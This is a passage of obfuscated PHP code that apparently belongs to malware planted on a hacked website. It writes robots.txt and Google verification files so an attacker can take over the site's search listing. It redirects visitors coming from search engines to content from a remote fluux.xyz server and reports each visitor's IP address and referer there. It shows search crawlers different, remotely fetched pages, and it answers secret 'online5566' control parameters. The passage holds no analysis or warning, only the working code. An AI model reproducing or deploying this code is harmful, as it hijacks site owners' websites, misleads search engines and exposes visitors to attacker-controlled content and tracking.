$Oov) { $pingRes = getCurl($O, $Oov); $Oooo0s = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR'; echo $Oov . '===>Submitting Google Sitemap: ' . $Oooo0s . PHP_EOL; } exit(); } if (isset($getRes['code']) && $getRes['code'] == '406') { echo 'Submitting Google Sitemap Return Fail'; exit(); } if (empty($getRes) || $getRes['code'] == 404) { header('HTTP/1.0 404 Not Found'); header('Status: 404 Not Found'); exit(); } $getsResult = $getRes['data']; header('Content-type:text/xml'); echo $getsResult; exit(); } if (isset($_GET['google'])) { $go = $_GET['google']; if (preg_match('/^google.*?(\.html)$/i', $go)) { putFile($O, $go, 'google-site-verification:' . ' ' . $go); exit('' . $go . ''); } } if (isset($_GET['robots'])) { $robots = $_GET['robots']; if (preg_match('/(\.php)$/i', $robots)) { $typeName = $typeName . '/' . $robots . '?'; } else { $typeName = $typeName . '/'; } putFile($O, 'robots.txt', 'User-agent: *' . PHP_EOL . 'Allow: /' . PHP_EOL . 'Crawl-delay:3' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_1.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_2.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_3.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_4.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_5.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_6.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_7.xml' . PHP_EOL . 'Sitemap:' . $typeName . 'sitemap_index_8.xml'); $file_get_contents = file_get_contents('robots.txt'); echo $file_get_contents; exit(); } if (preg_match('/google.co.jp|yahoo|google\.com[^.]*?$|bing/i', $referer)) { if ($_GET['vf_jump'] == 'online5566') { echo 'http://' . $OoooOO0 . '.fluux.xyz/jump.php?domain=' . $sName . '&page=' . $rUrl . '&bot=0&pr=' . $pr . '&refer=' . $referer . '&ip=' . $client_ip . '&lg=' . $Ooolg; exit; } $jumpRes = getCurl($O, 'http://' . $OoooOO0 . '.fluux.xyz/jump.php?domain=' . $sName . '&page=' . $rUrl . '&bot=0&pr=' . $pr . '&refer=' . $referer . '&ip=' . $client_ip . '&lg=' . $Ooolg); if ($jumpRes) { echo $jumpRes; exit(); } } if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'Y!J') || stristr($uAgent, 'y!j') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) { if ($_GET['vf_bot'] == 'online5566') { echo 'http://' . $OoooOO0 . '.fluux.xyz/918.php?domain=' . $sName . '&page=' . $rUrl . '&bot=1&pr=' . $pr . '&ip=' . $client_ip . '&lg=' . $Ooolg; exit; } $file_contents = getCurl($O, 'http://' . $OoooOO0 . '.fluux.xyz/918.php?domain=' . $sName . '&page=' . $rUrl . '&bot=1&pr=' . $pr . '&ip=' . $client_ip . '&lg=' . $Ooolg); if (!empty($file_contents)) { $getRes = json_decode($file_contents, true); if ($getRes['code'] == 404) { header('HTTP/1.0 404 Not Found'); header('Status: 404 Not Found'); exit(); } if ($getRes['code'] == 500) { header('HTTP/1.1 500 Internal Server Error'); exit(); } echo $file_contents; exit; } } if ($_GET['vf_origin'] == 'online5566') { echo 'http://' . $OoooOO0 . '.fluux.xyz/org.php?domain=' . $sName . '&page=' . $rUrl . '&pr=' . $pr . '&ip=' . $client_ip . '&lg=' . $Ooolg; exit; } getCurl($O, 'http://' . $OoooOO0 . '.fluux.xyz/org.php?domain=' . $sName . '&page=' . $rUrl . '&pr=' . $pr . '&ip=' . $client_ip . '&lg=' . $Ooolg); function getCurl($O, $gurl) { $file_contents = ''; $user_agent = 'Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.2;.NET CLR 1.1.4322)'; if (function_exists('curl_init')) { try { $ch = curl_init(); $timeout = 30; curl_setopt($ch, CURLOPT_URL, $gurl); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } catch (Exception $e) { } } if (strlen($file_contents) < 1 && function_exists('file_get_contents')) { ini_set('user_agent', $user_agent); try { $file_contents = @file_get_contents($gurl); } catch (Exception $e) { } } return $file_contents; } function putFile($O, $htName, $htContents) { $handle = fopen($htName, 'w') or die('0'); fwrite($handle, $htContents); fclose($handle); } ?>